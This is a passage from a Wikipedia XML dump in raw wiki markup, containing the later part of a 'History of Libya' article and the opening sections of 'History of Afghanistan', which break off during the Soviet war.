In the last decade of the [[9th century]], the Ismailis launched an assault on the [[Sunni]] Aghlabids. The [[Ismaili]] spiritual leader, Grandmaster Ubaidalla Said of [[Syria]], was installed as the imam of much of the Meghreb, including Tripolitania. The Amazigh of Libya eventually came to accept the imam as the [[Mahdi]] (Promised One).

The [[Shiite]] [[Fatimid dynasty]] conquered [[Misr]] (Egypt) in [[972]] and set up their caliphate in [[Cairo]]. The difficulty of maintaining control of Libya plagued the Fatimids, as it had almost every other authority preceeding them. At the beginning of the [[11th century]], [[Bulukkin ibn Ziri]] was installed as the Fatimid governor but he quickly returned Libya to orthodox Sunni Islam and swore allegiance to the Abbasid caliphs in Baghdad. The Fatimid anger at what they considered a gross betrayal profoundly altereed the fabric and makeup of Libyan society. Two tribes from the Arabian Peninsula, the Bani Hilal and the Bani Salim (or Bani Sulaim), were co-opted into migrating to the Meghreb. The Bani Salim settled in Libya, particularly in Cyrenaica, while the Bani Hilal spread across North Africa. The Amazigh tribespeople were displaced from their traditional lands, their farmland concerted to pasture and the new settlers cemented the cultural and linguistic Arabisation of the region. 

Tripoli was pillaged in [[1146]] by the [[Normans]] of Sicily. In [[1158]], the supporters of the [[Almohad]] dynasty arrived in Tripoli from [[Morocco]] and established their authority. An Almohad emir, Muhammad bin Abu Hafs, ruled Libya from [[1207]] to [[1221]] and established the [[Hafsid dynasty]], which outlived the Almohads. The Hafsids ruled Tripoli for nearly 300 years. There was significant trade with the city-states of Europe and Hafsid rulers encouraged art, literature and architecture, and gave scholarship priority. In 1321 the [[Beni Ammar]] established an independent dynasty there, which lasted (with an interval, 1354-1369, during which two sovereigns of the [[Beni Mekki]] reigned) until 1401, when Tripoli was reconquered by Tunis.

Meanwhile, in the Fezzan in the 13th century, King Danama of Kanem (near Lake Chad) annexed territories as far north as the Al-Jufra oases. His Toubou viceroy founded the autonomous Bani Nasr dynasty, which ruled the Fezzan until the 14th century. They were followed by the theocratic kingdoms of Kharijite sectarians, including the Bani Khattab in the Fezzan. In the early 16th century, the Libyan Sahara fell under the control of Muhammad al-Fazi from Morocco who, early in the 16th century, founded the Awlad Suleiman dynasty in Murzuq.

===Ottoman Rule===
By the beginning of the 15th century, the Libyan coast had minimal central authority and its harbours were havens for unchecked bands of pirates. 
Hapsburg Spain occupied Tripoli in 1510, but the Spaniards were more concerned with controlling the port that with the inconveniences of administering a colony. [[Ferdinand V of Spain|Ferdinand the Catholic of Spain]] took Tripoli and in 1528 gave it to the [[Knights of St John]] of Malta. In 1538 Tripoli was reconquered by a pirate king called Khair ad-Din (known more evocatively as [[Barbarossa]], or Red Beard). It was the that coast became renowned as the [[Barbary Coast]].

When the Ottomans arrived to occupy Tripoli in 1551, they saw little reason to reign in the pirates, preferring instead to profit from the booty. The Europeans were expelled in 1553 by Turkish corsairs [[Dragut]] and Sinaii, acting under loose control from Ottoman Constantinople. Dragut, who afterwards fell in the battle at Malta, lies buried in Tripoli in a much venerated tomb. After Dragut's death, the connection between Tripoli and Constantinople seems to have been considerably weakened.

Under the Ottomans. the Meghreb was divided into three provinces, Algiers, Tripoli and Tunis. After 1565, administrative authority in Tripoli was vested in a pasha appointed by the sultan in Constantinople. The sultan provided the pasha with a corps of [[janissaries]], which was in turn divided into a number of companies under the command of a junior officer or [[bey]]. The janissaries quickly became the dominant force in Ottoman Libya. As a self-governing military guild answerable only to their own laws and protected by a divan (a council of senior officers who advised the pasha), the janissaries soon reduced the pasha to a largely ceremonial role. 

In 1711, [[Ahmed Karamanli]], an Ottoman cavalry officer and son of a Turkish officer and Libyan woman, seized power and founded the [[Karamanli]] dynasty, which would last 124 years. In May 1801 Pasha [[Yusuf Karamanli]] demanded from the United States an increase in the tribute ($83,000) which that government had paid since 1796 for the protection of their commerce from piracy. The demand was refused, an American naval force blockaded Tripoli, and a [[First Barbary War|desultory war]] dragged on until [[3 June]] [[1805]]. 

In 1835, the government of [[Mahmud II|Sultan Mahmud II]] took advantage of local disturbances to reassert their direct authority and held it until the final collapse of the Ottoman Empire.

As decentralized Ottoman power had resulted in the virtual independence of Egypt as well as Tripoli, the coast and desert lying between them relapsed to anarchy, even after direct Ottoman control was resumed in Tripoli. The indigenous [[Senussi]] Movement, led by Islamic cleric Sayyid Mohammed Ali as-Senussi, called on the countryside to resist Ottoman rule. The Grand Senussi established his headquarters in the oasis town of [[Al-Jaghbub]] while his ''ikhwan'' (brothers) set up ''zawiyas'' (religious colleges or monasteries) across North Africa and brought some stability to regions not known for their submission to central authority. In line with the expressed instruction of the Grand Sanusi, these gains were made largely without any coercion.

The highpoint of the Sanusi influence came in the 1880s under the Grand Senussi's son, [[Mohammed al-Mahdi]], who was a skilled administrator and a charismatic orator. With 146 lodges spanning the entire Sahara, he moved the Senussi capital to [[Kufra]]. Harsh Ottoman rule only fuelled the appeal of the Senussi Movement's call to repel foreign occupation. Remarkably, Mohammed al-Mahdi succeeded where so many had failed before him, securing the enduring loyalty of the Amazigh tribes of Cyrenaica. 

Over a 75 year period the Ottoman Turks provided 33 governors and Libya remained part of the empire-- although at times virtually autonomous-- until [[Italy]] invaded in [[1911]], as the Ottoman Empire was collapsing.

==Italian Colony, 1911-1951==
[[Image:LibiaStamp.jpg|thumb|right|250px|&quot;New Rome&quot; imagery on a postage stamp]]
The attempted Italian colonization of the Ottoman provinces of [[Tripolitania]] and [[Cyrenaica]] was never wholly successful. On October 3, [[1911]], the Italians attacked Tripoli, claiming somewhat disingenuously to be liberating Libya from Ottoman rule. Despite a major revolt by the Libyans, the Ottoman sultan ceded Libya to the Italians by signing the 1912 Treaty of Lausanne. Tripoli was largely under Italian control by [[1914]], but both Cyrenaica and the Fezzan were home to rebellions led by the Senussis. Several reorganizations of the colonial authority were made necessary, in the face of the armed Libyan opposition. From 1919 ([[17 May]]) to 1929 ([[24 January]]) the Italian government maintained the two traditional provinces, with separate colonial administrations. A system of controlled local assembies with limited local authority was set up, but it was revoked [[9 March]] [[1927]]. In 1929 Tripoli and Cyrenaica were united as one colonial province, then in 1934, as Italy struggled to retain colonial power, the classical name &quot;Libya&quot; was revived as the official name of the colony, which was split into four provinces, [[Tripoli]], Misurata, [[Bengasi]], and Derna.  

In 1920 ([[25 October]]) the Italian government recognized [[Idris I of Libya|Sheikh Sidi Idris]] the hereditary head of the nomadic [[Senussi]], with wide authority in Kufra and other oases, as Emir of Cyrenaica, a new title extended by the British at the close of World War I. The emir would eventually become king of the free Libyan state.

Fighting intensified after the accession to power in Italy of the dictator [[Benito Mussolini]]. Idris fled to Egypt in 1922. From 1922 to 1928, Italian forces under [[Pietro Badoglio|Gen. Badoglio]] waged a punitive pacification campaign. Badoglio's succesor in the field, Marshal Rodolfo Graziani, accepted the commission from Mussolini on the condition that he was allowed to crush Libyan resistance unencumbered by the restraints of either Italian or international law. Mussolini reportedly agreed immediately and Graziani intensified the oppression. The Libyans continued to defend themselves, with the strongest voices of dissent coming from Cyrenaica. [[Omar Mukhtar]] (1858 - 1931), a Senussi sheikh, became the leader of the uprising. After a much disputed truce on [[3 January]] [[1928]], the Italian policy in Libya reached new depths of brutality. A barbed wire fence was built from the Mediterranean to the oasis of Al-Jaghbub to sever lines critical to the resistance. Soon afterwards, the colonial administration began the wholesale deportation of the people of the Jebel Akhdar to deny the rebels the support of the local population. The forced migration of more than 100,000 people ended in concentration camps in Suluq and Al-'Aghela where tens of thousands died in squalid conditions. It's estimated that the number of Libyans who died - killed either through combat or starvation and disease - is at a minimum of 80,000 or even up to half of the Cyrenaican population. After Al-Mukhtar's capture September 15, 1931 and his execution in Benghazi, the resistance petered out. Limited resistance to the Italian occupation crystallized round the person of [[Idris of Libya| Sheik Idris]], the Emir of Cyrenaica.  

In March 1937 [[Benito Mussolini|Mussolini]] made a spectacular state visit to Libya, where he opened a new military highway running the entire length of the colony. Cynically, he had himself declared ''protector of Islam'' and was presented with a symbolic sword. Mussolini's publicized encouragement of the Arabic nationalist movement suited his wider policies of confronting Britain and France. He also sought to fully colonise Libya, introducing 30,000 Italian settlers which brought their numbers to more than 100,000. These settlers were shipped primarily to Sahel al-Jefara in Tripolitania and the Jebel Akhdar in Cyrenaica, and given land from which the indigenous inhabitants had been forcibly removed. 

In [[13 September]]-15 1940, Mussolini's highway sped the invasion of Egypt by Italian forces stationed in Libya. Counterattacks of British Allied forces from Egypt, later commanded by [[Bernard Montgomery|Montgomery]] and their successful two-month campaign ([[Tobruk]], [[Bengasi]], [[El Argheila]]), and the counteroffensives under [[Erwin Rommel|Rommel]], 1940-43, are part of the wider history of [[World War II]]. In November 1942 the Allied forces retook Cyrenaica; by February the last German and Italian soldiers were driven from Libya. In the early post-war period, Tripolitania and Cyrenaica remained under [[United Kingdom|British]] administration, while the [[France|French]] controlled Fezzan. After almost three decades of Italian occupation, a quarter of Libya's population had died.  

In [[1944]], Idris returned from exile in [[Cairo]] but declined to resume permanent residence in Cyrenaica until the removal in [[1947]] of some aspects of foreign control. Under the terms of the 1947 peace treaty with the [[Allies]], Italy relinquished all claims to Libya. In July 1999 the Italian government offered a formal apology to Libya and it is reported that Italy agreed to pay USD $260 million as compensation for the occupation.

Some pictures of the Italian occupation can be found [http://ourworld.compuserve.com/homepages/dr_ibrahim_ighneiwa/ihtilal1.htm here ]

==Modern Libya==
On [[November 21]], [[1949]], the [[UN General Assembly]] passed a resolution stating that Libya should become independent before [[January 1]], [[1952]]. Idris represented Libya in the subsequent UN negotiations. When Libya declared its independence on [[December 24]], [[1951]], it was the first country to achieve independence through the United Nations and one of the first former European possessions in [[Africa]] to gain independence. Libya was proclaimed a constitutional and a hereditary [[monarchy]] and Idris was proclaimed king.

The discovery of significant [[petroleum|oil]] reserves in [[1959]] and the subsequent income from petroleum sales enabled what had been one of the world's poorest countries to become extremely wealthy, as measured by per capita [[Gross domestic product|GDP]]. Although oil drastically improved Libya's finances, popular resentment grew as wealth was increasingly concentrated in the hands of the elite. This discontent continued to mount with the rise throughout the Arab world of [[Gamal Abdal Nasser|Nasserism]] and the idea of Arab unity.

On [[September 1]], [[1969]], a small group of military officers led by then 28-year-old army officer [[Moammar Al Qadhafi|Mu'ammar Abu Minyar al-Qadhafi]] staged a coup d'etat against King Idris, who was exiled to Egypt. The new regime, headed by the [[Revolutionary Command Council]] (RCC), abolished the monarchy and proclaimed the new Libyan Arab Republic. Qadhafi emerged as leader of the RCC and eventually as de facto chief of state, a political role he still plays. The Libyan Government asserts that Qadhafi currently holds no official position, although he is referred to in government statements and the official press as the &quot;Brother Leader and Guide of the Revolution.&quot;

Qadhafi took control of Libya from the [[Senusi|Senusiyyah]].  They gained support by opposing Italian and British occupiers.  Their rise in power followed a similar path as that of the Wahhabis in [[Saudi Arabia]], although with obviously different endings.

Since he took power in a 1969 military coup, Qadhafi has espoused his own political system - a combination of [[socialism]] and [[Islam]] - which he calls the Third Universal Theory.

The new RCC's motto became &quot;freedom, socialism, and unity.&quot; It pledged itself to remedy &quot;backwardness,&quot; take an active role in the [[Palestinian]] Arab cause, promote Arab unity, and encourage domestic policies based on social justice, nonexploitation, and an equitable distribution of wealth.

An early objective of the new government was withdrawal of all foreign military installations from Libya. Following negotiations, British military installations at [[Tobruk]] and nearby El Adem were closed in March [[1970]], and U.S. facilities at Wheelus Air Force Base near Tripoli were closed in June 1970. That July, the Libyan Government ordered the expulsion of several thousand Italian residents. By [[1971]], libraries and cultural centers operated by foreign governments were ordered closed.

Qadhafi rejected both Soviet Communism and Western capitalism and claimed that he was charting an independent course, portraying himself as a champion of &quot;oppressed peoples&quot; and Third World nations seeking to assert their independence on the international stage. In the 1970s, Libya claimed leadership of Arab and African revolutionary forces and sought active roles in international organizations.

In [[1974]], Libya and [[Tunisia]] planned to merge and create the [[Arab Islamic Republic]].

Late in the 1970s, Libyan embassies were redesignated as &quot;people's bureaus,&quot; as Qadhafi sought to portray Libyan foreign policy as an expression of the popular will. The people's bureaus, aided by Libyan religious, political, educational, and business institutions overseas, exported Qadhafi's revolutionary philosophy abroad.

Viewing himself as a revolutionary leader, Qadhafi used oil funds during the [[1970s]] and [[1980s]] to promote his ideology outside Libya, even supporting militants abroad to hasten the end of Soviet and U.S. [[hegemony]].

On [[August 19]], in the [[Gulf of Sidra incident (1981)]], a dispute over whether the [[Gulf of Sidra]] was international waters or not, two [[Sukhoi Su-22]] fighter jets engaged two United States [[F-14 Tomcat]]s operating from U.S. aircraft carrier [[USS Nimitz (CVN-68)]] operating in the gulf near the &quot;line of death.&quot; The U.S. jets shot down the Libyan fighters and the [[United States]] placed an [[embargo]] on Libyan [[petroleum]] imports starting on [[March 10]], [[1982]]. Libyan military adventures failed, e.g., the prolonged foray of Libyan troops into the [[Aozou Strip]] in northern [[Chad]] was finally repulsed in [[1987]].
[[Image:Map of Aouzou stip chad.PNG|thumb|120px|Libya occupied the [[Aouzou strip]] (blue) in [[Chad]] between 1976 and 1987]]

U.S.-Libyan relations quickly deteriorated following the inauguration of U.S. President [[Ronald Reagan]] in January [[1981]]. The Reagan administration saw Libya as an unacceptable player on the international stage because of its uncompromising stance on Palestinian independence, its support for revolutionary [[Iran]] in its [[1980]]-[[1988]] war against [[Saddam Hussein]]'s [[Iraq]] (''see'' [[Iran-Iraq War]]), support for international terrorism,  and its backing for &quot;liberation movements&quot; in the developing world. In March [[1982]] the U.S. declared a ban on the import of Libyan oil and the export to Libya of U.S. oil industry technology; Europe did not follow suit. 

The U.S. attacked Libyan patrol boats from January to March [[1986]] during clashes over access to the [[Gulf of Sidra]], which Libya claimed as territorial waters. Later, on [[April 14]], [[1986]], Reagan ordered [[Operation El Dorado Canyon|major bombing raids]] against [[Tripoli]] and [[Benghazi]] that killed 60 people following U.S. accusations of Libyan involvement in a bomb explosion in a German nightclub frequented by U.S. servicemen on [[April 5]], which had killed 3. Among the victims of the [[14 April]] attack was the daughter of the Libyan leader.

After Libya's role was exposed in the [[1988]] bombing of [[Pan Am flight 103]] over [[Lockerbie]], [[Scotland]], UN sanctions were imposed in 1992. [[UN Security Council]] resolutions (UNSCRs) passed in [[1992]] and [[1993]] obliged Libya to fulfill requirements related to the Pan Am 103 bombing before sanctions could be lifted, leading to Libya's political and economic isolation for most of the [[1990s]]. The UN sanctions cut airline connections with the outer world, reduced diplomatic representation and prohibited the sale of military equipment. Oil-related sanctions were assessed by some as equally significant for their exceptions: thus sanctions froze Libya's foreign assets (but excluded revenue from oil and natural gas and agricultural commodities) and banned the sale to Libya of refinery or pipeline equipment (but excluded oil ''production'' equipment).

Under the sanctions Libya's refining capacity eroded. Libya's role on the international stage grew less provokative after UN sanctions were imposed. In [[1999]], Libya fulfilled one of the UNSCR requirements by surrendering two Libyans suspected in connection with the bombing for trial before a Scottish court in the [[Netherlands]]. One of these suspects, Abdel Basset al-Megrahi, was found guilty; the other was acquitted. UN sanctions against Libya were subsequently suspended. The full lifting of the sanctions, contingent on Libya's compliance with the remaining UNSCRs, including acceptance of responsibility for the actions of its officials and payment of appropriate compensation, was passed [[12 September]] [[2003]], explicitly linked to the release of up to $2.7 billion in Libyan funds to the families of the 1988 attack's 270 victims.

==External links==
*[http://news.bbc.co.uk/2/hi/africa/4380360.stm http://news.bbc.co.uk/2/hi/africa/4380360.stm]

{{Africa in topic|History of}}


[[Category:History of Libya| ]]

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[[de:Geschichte Libyens]]
[[es:Historia de Libia]]
[[fr:Histoire de la Libye]]
[[pt:História da Líbia]]</text>
    </revision>
  </page>
  <page>
    <title>History of Afghanistan</title>
    <id>13813</id>
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      <text xml:space="preserve">&lt;table cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; style=&quot;float:right; margin:5px; border:3px solid;&quot;&gt;
&lt;tr&gt;&lt;td style=&quot;border-bottom:3px solid; background:#efefef;&quot;&gt;
&lt;small&gt;This article is the top of the 
'''History of [[Afghanistan]]''' series.&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
  [[Pre-Islamic period of Afghanistan]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
  [[Islamic conquest of Afghanistan]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
  [[Durrani Empire]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
  [[European influence in Afghanistan]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
  [[Reforms of Amanullah Khan and civil war]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
  [[Reigns of Nadir Shah and Zahir Shah]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
  [[Daoud's Republic of Afghanistan]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
  [[Democratic Republic of Afghanistan]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
  [[History of Afghanistan since 1992]]&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==History of Afghanistan==
[[Afghanistan]]'s [[history]], internal political development, foreign relations, and very existence as an independent state have largely been determined by its geographic location at the crossroads of [[Central Asia|Central]], [[Middle East|West]], and [[South Asia]]. Over the centuries, waves of migrating peoples passed through the region--described by historian Arnold Toynbee as a &quot;roundabout of the ancient world&quot;--leaving behind a mosaic of ethnic and linguistic groups. In modern times, as well as in antiquity, vast armies of the world passed through this region of Asia, temporarily establishing local control and often dominating ancient Afghanistan.

Invariably, most of Afghanistan's history was spent as part of the larger events that took place upon the [[Iranian plateau]] as a whole. The [[Iranian peoples]] who arrived in Afghanistan have left their [[Iranian languages]] ([[Pasto]], [[Dari]], etc.) as their legacy as well as distinct cultural traits that many authors and historians such as Sir Olaf Caroe, writer of ''The Pathans'', describe as distinctly Iranic: &quot;There is indeed a sense in which all the upland (the [[Iranian plateau]]) from the Tigris to the Indus is one country. The spirit of Persia has breathed over it, bringing an awareness of one background, one culture, one way of expression, a unity of spirit felt as far away as Peshawar and Quetta.&quot; It is perhaps not surprising that it is the Iranic past and Islamic invasions of the Arabs that have defined modern Afghanistan, while its Greek, Central Asian nomadic, and Buddhist/Zoroastrian past have long since vanished.

Although it was the scene of great empires and flourishing trade for over two millennia, the area's heterogeneous groups were not bound into a single political entity until the reign of [[Ahmad Shah]] Durrani, who in [[1747]] founded the monarchy that ruled the country until [[1973]]. In the nineteenth century, Afghanistan lay between the expanding might of the [[Russian Empire|Russian]] and [[British Empire|British]] empires. In [[1900]], [[Abdur Rahman Khan]] (the &quot;Iron Amir&quot;), looking back on his twenty years of rule and the events of the past century, wondered how his country, which stood &quot;like a goat between these lions [Britain and Tsarist Russia] or a grain of wheat between two strong millstones of the grinding mill, [could] stand in the midway of the stones without being ground to dust?&quot; 

[[Islam]] played perhaps the key role in the formation of Afghanistan's society. Despite the [[Mongol]] invasion of what is today Afghanistan in the early thirteenth century which has been described as resembling &quot;more some brute cataclysm of the blind forces of nature than a phenomenon of human history,&quot; even a warrior as formidable as [[Genghis Khan]] did not uproot Islamic civilization, and within two generations his heirs had become Muslims. An often unacknowledged event that nevertheless played an important role in Afghanistan's history (and in the politics of Afghanistan's neighbors and the entire region up to the present) was the rise in the tenth century of a strong [[Sunni]] dynasty--the Ghaznavids. Their power prevented the eastward spread of [[Shiism]] from Iran, thereby insuring that the majority of the Muslims in Afghanistan and South Asia would be Sunnis. Later native Afghan empire builders such as the Ghorids would continue to make Afghanistan a major medieval power as well as a center of learning that produced [[Ferdowsi]], [[Al-Biruni]], and [[Khushal Khan Khattak]] among countless other academics and literary iconic figures.

This article briefly outlines each period of History of Afghanistan only; details are presented in separate articles (see the links in the box and below).

==Pre-Islamic period of Afghanistan (before 651)==
''Main article: [[Pre-Islamic period of Afghanistan]]''

[[Image:AlexanderAttackingDarius.jpg|thumb|150px|'''Alexander the Great''' fighting the Persian king [[Darius III of Persia|Darius]] ([[Pompeii]] mosaic, from a [[3rd century BC]] original Greek painting, now lost).]]
Afghanistan's known pre-Islamic past began with Aryan invasions around 2000 BCE and continued with Persian, Median, Greek, Mauryan, Bactrian, and other phases in its history.

Following the defeat of the [[Achaemenid]] Persian Empire, in [[328 BC]], [[Alexander the Great]] entered the territory of present-day Afghanistan to capture [[Bactria]] (present-day [[Balkh]]). Invasions by the [[Scythians]], [[White Huns]], and [[Gokturks]] followed in succeeding centuries.

During the [[Kushana]] rule, Afghanistan and Gandhara became major centers of culture and learning. The Sassanians and other Iranian powers ruled most of Afghanistan before the coming of Muslim invaders, while the [[Shahi]]s ruled eastern Afghanistan from the mid-7th century until Turkic invasions in the 10th century CE.

==Islamic conquest of Afghanistan (642-1747)==
''Main article: [[Islamic conquest of Afghanistan]]''

In [[642]] [[Common Era|CE]], Arabs invaded the entire region and introduced Islam. Afghanistan, like all others conquered by the Arabs had local rulers including the empire of [[Tang China]], which had extended its influence all the way to [[Kabul]]. The Khorasani Persian-Arabs controlled the area until they were conquered by the [[Ghaznavid Empire]] in [[998]]. [[Mahmud of Ghazni]] ([[998]]-[[1030]]) consolidated the conquests of his predecessors and turned Ghazna ([[Ghazni]]) into a great cultural center as well as a base for frequent forays into India. The Ghaznavid dynasty was defeated in [[1146]] by the [[Ghurids]] ([[Ghor]]), the Ghaznavid Khans continued to live in Ghazni as the '[[Nasher]]' until the early 20th century but they never regained their once vast power. Various princes and [[Seljuk Turks|Seljuk]] rulers attempted to rule parts of the country until the [[shah]] [[Muhammad II of Khwarezm|Muhammad II]] of the [[Khwarezmid Empire]] conquered all of Persia in [[1205]]. By [[1219]] the empire had fallen to the [[Mongols]]. 

Led by [[Genghis Khan]], the invasion resulted in massive slaughter of the population, destruction of many cities, including [[Herat]], [[Ghazni]], and [[Balkh]], and the despoliation of fertile agricultural areas. Following Genghis Khan's death in [[1227]], a succession of petty chiefs and princes struggled for supremacy until late in the 14th century, when one of his descendants, [[Timur Lenk]], incorporated what is today Afghanistan into his own vast Asian empire. [[Babur]], a descendant of Timur and the founder of India's [[Moghul Empire]] at the beginning of the 16th century, made Kabul the capital of an Afghan principality.

Afghanistan was divided in three parts in the 16th, 17th and early 18th century. North were the [[Uzbeks]], west was [[Iran|Persia]] and East was the [[Mughal]] empire. The [[Afghan people|Afghans]], or more specific [[Ghilzai]] [[Pashtuns]] under Khan Nasher rose against Persian rule in the early 18th century. The Persian army was defeated and the Afghans conquered the whole of Persia afterwards. The [[Ghilzai]] Pashtuns were defeated and the [[Durrani]] Pashtuns became the principal Afghan rulers.

==The Durrani Empire (1747-1826)==
''Main article: [[Durrani Empire]]''
[[Image:Ahmad Shah Durrani.jpg|thumb|right|100px|[[Ahmad Shah Durrani]]]]
In [[1747]], [[Ahmad Shah Durrani]], the founder of what is known today as Afghanistan, established his rule. A [[Pashtun]], Durrani was elected king in the first [[Loya Jirga]] after the assassination of the Persian ruler [[Nadir Shah]] at Khabushan in the same year. Throughout his reign, Durrani consolidated chieftainships, petty principalities, and fragmented provinces into one country. His rule extended from Mashad in the west to Kashmir and Delhi in the east, and from the Amu Darya (Oxus) River in the north to the Arabian Sea in the south. With the exception of a 9-month period in 1929, all of Afghanistan's rulers until the 1978 Marxist coup were from Durrani's Pashtun tribal confederation, and all were members of that tribe's [[Mohammadzai]] clan after [[1818]].

==European influence in Afghanistan (1826-1919)==
''Main article: [[European influence in Afghanistan]]''
[[Image:AbdurRahmanKhan-A.JPG|thumb|left|Amir Abdur Rahman Khan]]
[[Dost Mohammed Khan]] gained control in Kabul. Collision between the expanding [[British Empire|British]] and [[Russian Empire]]s significantly influenced Afghanistan during the [[19th century]] in what was termed &quot;[[The Great Game]].&quot;  British concern over Russian advances in [[Central Asia]] and growing influence in Persia culminated in two Anglo-Afghan wars. The [[first Anglo-Afghan War|first]] ([[1839]]-[[1842]]) resulted in the destruction of a British army; it's remembered as an example of the ferocity of Afghan resistance to foreign rule. The [[second Anglo-Afghan war]] ([[1878]]-[[1880]]) was sparked by Amir [[Shir Ali Khan of Afghanistan|Shir Ali]]'s refusal to accept a British mission in Kabul. This conflict brought [[Amir Abdur Rahman]] to the Afghan throne. During his reign ([[1880]]-[[1901]]), the British and Russians officially established the boundaries of what would become modern Afghanistan. The British retained effective control over [[Kabul]]'s foreign affairs. 

Afghanistan remained neutral during [[World War I]], despite [[Germany|German]] encouragement of anti-British feelings and Afghan rebellion along the borders of [[British India]]. The Afghan king's policy of neutrality was not universally popular within the country, however. 

[[Habibullah Khan|Habibullah]], Abdur Rahman's son and successor, was assassinated in [[1919]], possibly by family members opposed to British influence. His third son, Amanullah, regained control of Afghanistan's foreign policy after launching the [[Third Anglo-Afghan war]] with an attack on India in the same year. During the ensuing conflict, the war-weary British relinquished their control over Afghan foreign affairs by signing the [[Treaty of Rawalpindi]] in [[August]] [[1919]]. In commemoration of this event, Afghans celebrate [[August 19]] as their [[Independence Day]].

==Reforms of Amanullah Khan and civil war (1919-1929)==
''Main article: [[Reforms of Amanullah Khan and civil war]]''

King [[Amanullah Khan|Amanullah]] ([[1919]]-[[1929]]) moved to end his country's traditional isolation in the years following the Third Anglo-Afghan war. He established diplomatic relations with most major countries and, following a [[1927]] tour of [[Europe]] and [[Turkey]]--during which he noted the modernization and secularization advanced by [[Ataturk]]--introduced several reforms intended to modernize Afghanistan. Some of these, such as the abolition of the traditional [[Muslim]] [[veil]] for women and the opening of a number of co-educational schools, quickly alienated many tribal and religious leaders. Faced with overwhelming armed opposition, Amanullah was forced to abdicate in January [[1929]] after [[Kabul]] fell to forces led by [[Bacha-i-Saqao]], a [[Tajiks|Tajik]] brigand.

==Reigns of Nadir Shah and Zahir Shah (1929-1973)==
''Main article: [[Reigns of Nadir Shah and Zahir Shah]]''

Prince [[Mohammed Nadir Khan]], a cousin of Amanullah's, in turn defeated Bacha-i-Saqao in October of the same year and, with considerable Pashtun tribal support, was declared King Nadir Shah. He began consolidating power and regenerating the country.  He reversed the reforms of [[Amanullah Khan]] in favour of a more gradual approach to modernisation. In [[1933]], however, he was assassinated in a revenge killing by a [[Kabul]] student.

[[Mohammad Zahir Shah]], Nadir Khan's 19-year-old son, succeeded to the throne and reigned from 1933 to 1973. Until [[1946]] Zahir Shah ruled with the assistance of his uncle [[Sardar Mohammad Hashim Khan]], who held the post of Prime Minister and continued the policies of Nadir Shah.  In [[1946]] another of Zahir Shah's uncles, [[Sardar Shah Mahmud Khan]], became Prime Minister. He began an experiment allowing greater political freedom, but reversed the policy when it went further than he expected.  In [[1953]] he was replaced as Prime Minister by [[Mohammed Daoud Khan]], the king's cousin and brother-in-law.  Daoud sought a closer relationship with the [[Soviet Union]] and a more hostile one towards [[Pakistan]].  However dispute with Pakistan led to an economic crisis and he was asked to resign in [[1963]].  From [[1963]] until [[1973]] Zahir Shah took a more active role.

In 1964, King Zahir Shah promulgated a liberal constitution providing for a bicameral legislature to which the king appointed one-third of the deputies. The people elected another third, and the remainder were selected indirectly by provincial assemblies. Although Zahir's &quot;experiment in democracy&quot; produced few lasting reforms, it permitted the growth of unofficial extremist parties on both the left and the right. These included the communist [[People's Democratic Party of Afghanistan]] (PDPA), which had close ideological ties to the [[Soviet Union]]. In 1967, the PDPA split into two major rival factions: the [[Khalq]] (Masses) faction headed by [[Nur Muhammad Taraki]] and [[Hafizullah Amin]] and supported by elements within the military, and the [[Parcham]] (Banner) faction led by [[Babrak Karmal]]. The split reflected ethnic, class, and ideological divisions within Afghan society.

==Daoud's Republic of Afghanistan (1973-1978)==
''Main article: [[Daoud's Republic of Afghanistan]]''

Amid charges of corruption and malfeasance against the royal family and poor economic conditions created by the severe 1971-72 drought, former Prime Minister [[Mohammed Daoud Khan]] seized power in a military coup on July 17, 1973. Zahir Shah fled the country eventually finding refuge in [[Italy]]. Daoud abolished the monarchy, abrogated the 1964 constitution, and declared Afghanistan a republic with himself as its first President and Prime Minister. His attempts to carry out badly needed economic and social reforms met with little success, and the new constitution promulgated in February 1977 failed to quell chronic political instability.

As disillusionment set in, on April 27, [[1978]], the PDPA initiated a bloody coup, which resulted in the overthrow and murder of Daoud and most of his family. [[Nur Muhammad Taraki]], Secretary General of the PDPA, became President of the Revolutionary Council and Prime Minister of the newly established Democratic Republic of Afghanistan, strongly supported by the USSR.

==Soviet intervention in Afghanistan (1978-1992)==
{{main|Democratic Republic of Afghanistan}}

The PDPA, as a pro-communist socialist party, implemented a socialist agenda which included decrees abolishing usury, banning forced marriages, state recognition of women&amp;#8217;s rights to vote, replacing religious and traditional laws with secular and Marxist ones, banning tribal courts, and land reform. Men were obliged to cut their beards, women couldn't wear a [[burqa]], and mosque visiting was forbidden. The PDPA invited the [[Soviet Union]] to assist in modernising its economic infrastructure (predominantly its exploration and mining of rare minerals and natural gas). The [[Soviet Union|USSR]] also sent contractors to build roads, hospitals, schools and mine for water wells; they also trained and equipped the Afghan army.

These reforms and the PDPA's monopoly on power were met with a large backlash, partly led by members of the traditional establishment. Many groups were formed in an attempt to reverse the dependence on the Soviet Union, some resorting to violent means and sabotage of the country's industry and infrastructure. The government responded with a heavy handed military intervention and arrested, exiled and executed many [[mujahedin]] &quot;holy Muslim warriors&quot;. 

In 1979 the Afghan army was overwhelmed with the number of incidents, and the Soviet Union sent troops to crush the uprising, install a pro-Moscow government, and support the new government. On [[December 25]], [[1979]] the Soviet army entered [[Kabul]]. This was the starting point of the Soviet occupation of Afghanistan and the [[Soviet war in Afghanistan]], which ended only in 1989 with a full withdrawal of Soviet troops under the [[Geneva accords]] reached in [[1988 ]] between Afghanistan and Pakistan. 

For over nine years the Soviet Army conducted miliary operations against the Afghan mujahedin rebels. The [[United States|American]] [[CIA]], [[Pakistan]], and [[Saudi Arabia]] assisted in the financing of the resistance because of their anti-communist stance, and, in the case of Saudi Arabia, because of their [[Islamist]] inclinations.
